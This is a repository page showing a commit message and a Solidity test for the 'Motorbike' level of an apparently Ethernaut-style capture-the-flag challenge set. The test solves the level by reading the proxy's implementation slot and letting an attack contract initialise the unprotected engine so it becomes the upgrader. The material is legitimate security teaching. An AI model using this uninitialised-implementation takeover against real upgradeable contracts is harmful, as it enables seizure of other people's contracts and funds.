Files
zeekay 1b281f89a6 Win Motorbike by seizing the engine
The level asked the player to selfdestruct the engine and checked that its code
was gone. Since EIP-6780, selfdestruct deletes code only for a contract made in
the same transaction, and the engine is made one transaction before the attack,
so nobody could complete it on the Lux EVM or any post-Dencun chain. The
vulnerability is unchanged: the implementation is never initialised in its own
context, and anyone can initialise it and become its upgrader. That is now the
win, in the check and in all six texts.

Claude-Session: https://claude.ai/code/session_019ABm6hF8RNyUFpbjQWqfxY
2026-09-23 04:01:04 -07:00

39 lines
1.4 KiB
Solidity

// SPDX-License-Identifier: MIT
pragma solidity 0.8.37;
import {LuxTest} from "../Base.t.sol";
import {MotorbikeFactory} from "../../src/levels/MotorbikeFactory.sol";
import {Engine} from "../../src/levels/Motorbike.sol";
import {MotorbikeAttack} from "../../src/attacks/MotorbikeAttack.sol";
/// @dev The engine implementation behind the Motorbike proxy is never
/// initialised in its own context, so anyone can call `initialize()` on it and
/// become its upgrader. Seizing it wins the level.
contract MotorbikeLevel is LuxTest {
// eip1967.proxy.implementation
bytes32 constant IMPL_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
MotorbikeFactory factory;
address player = makeAddr("player");
function setUp() public {
_deployCore();
factory = new MotorbikeFactory();
_register(factory);
}
function test_solve() public {
address instance = _create(factory, player, 0);
_assertUnsolved(instance, player);
address engine = address(uint160(uint256(vm.load(instance, IMPL_SLOT))));
assertEq(Engine(engine).upgrader(), address(0), "a fresh engine is already seized");
MotorbikeAttack attack = new MotorbikeAttack(engine);
attack.takeControl();
assertEq(Engine(engine).upgrader(), address(attack), "did not seize the engine");
_assertSolved(factory, instance, player);
}
}